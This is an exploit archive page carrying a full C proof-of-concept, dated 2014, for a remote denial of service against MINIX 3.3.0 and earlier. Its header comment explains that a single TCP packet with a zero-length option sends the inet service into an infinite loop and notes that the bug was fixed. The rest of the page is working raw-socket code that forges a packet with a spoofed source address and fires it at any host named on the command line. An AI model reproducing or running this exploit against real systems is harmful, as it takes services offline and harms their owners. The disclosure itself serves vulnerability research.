exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MINIX 3.3.0 Denial Of Service

MINIX 3.3.0 Denial Of Service
Posted Nov 18, 2014
Authored by nitr0us

MINIX versions 3.3.0 and below remote TCP/IP stack denial of service exploit that leverages a malformed TCP option.

tags | exploit, remote, denial of service, tcp
systems | minix
SHA-256 | 78ee0c01b3e508a77897e2ea4fdd9158a72765371532e2e44e2c9e95e2de9827

MINIX 3.3.0 Denial Of Service

Change Mirror Download
/*
_-------------------------------------------------------_
||------+ MINIX <= 3.3.0 Remote TCP/IP Stack DoS +------||
||_______________________________________________________||
||--=[ Alejandro Hernandez < nitr0us > ]=--||
||--=[ Nov 2014 ]=--||
||--=[ Mexico ]=--||
-_______________________________________________________-
_____________________________________________________________________________________

MINIX IS PRONE TO DENIAL OF SERVICE IN THE TCP/IP STACK (/service/inet) BY SENDING
A SINGLE TCP PACKET WITH A MALFORMED TCP OPTION. A TCP OPTION WITH LENGTH OF ZERO
WOULD CAUSE inet TO END UP IN AN INFINITE LOOP.

BECAUSE OF MINIX'S MICROKERNEL NATURE, THE NETWORKING SERVICE RUNS IN USERLAND AND
THEREFORE, THE MOST CRITICAL PARTS OF THE RUNNING KERNEL ARE UNAFFECTED.

THIS ISSUE HAS BEEN REPORTED AND ALREADY FIXED:
https://github.com/Stichting-MINIX-Research-Foundation/minix/issues/7
_____________________________________________________________________________________

MINIX 3
http://minix3.org

Microkernel (Slide 26)
http://www.eecs.harvard.edu/~mdw/course/cs161/notes/osstructure.pdf

TCP Option Kind Numbers
http://www.iana.org/assignments/tcp-parameters/tcp-parameters.xhtml#tcp-parameters-1
_____________________________________________________________________________________

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include <netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)

#define DEFAULT_SRC_IP "1.3.3.7"

uint16_t _checksum(uint16_t * addr, int len) {
int nleft = len;
int sum = 0;

uint16_t *w = addr;
uint16_t answer = 0;

while(nleft > 1){
sum += *w++;
nleft -= sizeof(uint16_t);
}

if(nleft == 1){
*(uint8_t *) (&answer) = *(uint8_t *) w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

return (answer);
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int pseudo_hdr_size = 12 + TCPSIZE + 4; // 12 bytes for the pseudo-header; 4 bytes for the payload
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);
unsigned char pseudo_hdr_for_checksum[pseudo_hdr_size];

if(argc < 2){
printf(" _-------------------------------------------------------_\n");
printf(" ||------+ MINIX <= 3.3.0 Remote TCP/IP Stack DoS +------||\n");
printf(" -_______________________________________________________-\n\n");
printf("Usage: %s <IP>\n", argv[0]);

exit(-1);
}

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "You must be root to create raw sockets.\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));
memset(&target, 0x00, sizeof(target));

target.sin_family = AF_INET;
target.sin_port = htons(31337);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);

/*** SEMI-VALID TCP/IP PACKET ***/
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = htons(IPSIZE + TCPSIZE + 4);
IP->ip_id = 0x01;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = _checksum((uint16_t *) IP, IPSIZE);

TCP->th_sport = htons(0xcafe);
TCP->th_dport = htons(31337);
TCP->th_seq = htonl(rand());
TCP->th_ack = htonl(rand());
TCP->th_off = ((TCPSIZE + 4) / 4);
TCP->th_win = htons(0x1337);
TCP->th_flags = rand() & 0x0f;
TCP->th_sum = 0x00;

/* Malformed TCP Options
Initially tested with "\x03\x00\x00\x00" but realized that MINIX 3 hangs even with 2, 3, 4, 5,
6, 7, 8, 0x7f, 0xff, in the first byte. Then, I found out that if the option size (the 2nd byte)
is higher than zero, the stack doesn't hang. For this PoC, "\xff\x00\x00\x00" is used: */
memcpy(packet + IPSIZE + TCPSIZE, "\xff\x00\x00\x00", 4);

// TCP Checksum Calculation and the TCP "Pseudo Header"
// http://www.tcpipguide.com/free/t_TCPChecksumCalculationandtheTCPPseudoHeader-2.htm
memset(pseudo_hdr_for_checksum, 0x00, pseudo_hdr_size);
*((unsigned long *)((unsigned char *) pseudo_hdr_for_checksum + 0)) = IP->ip_src.s_addr;
*((unsigned long *)((unsigned char *) pseudo_hdr_for_checksum + 4)) = IP->ip_dst.s_addr;
*((unsigned long *)((unsigned char *) pseudo_hdr_for_checksum + 8)) = 0x00;
*((unsigned long *)((unsigned char *) pseudo_hdr_for_checksum + 9)) = IPPROTO_TCP;
*((unsigned long *)((unsigned char *) pseudo_hdr_for_checksum + 10)) = htons(TCPSIZE + 4);
memcpy(pseudo_hdr_for_checksum + 12, ((unsigned char *) packet) + IPSIZE, TCPSIZE + 4);

TCP->th_sum = _checksum((uint16_t *) &pseudo_hdr_for_checksum, pseudo_hdr_size);

printf("-=[ Computed IP header checksum: IP->ip_sum = 0x%x\n", IP->ip_sum);
printf("-=[ Computed TCP header checksum: TCP->th_sum = 0x%x\n\n", TCP->th_sum);
printf("-=[ Sending malformed TCP/IP packet...\n\n");

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

if((count = sendto(sockfd, packet, IPSIZE + TCPSIZE + 4, 0, (struct sockaddr *) &target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

close(sockfd);

printf("-=[ Sent %d bytes to %s:31337\n", count, argv[1]);
printf("-=[ TCP/IP stack should be hanged now\n");
printf("-=[ Try to ping %s... \n", argv[1]);

return 0;
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close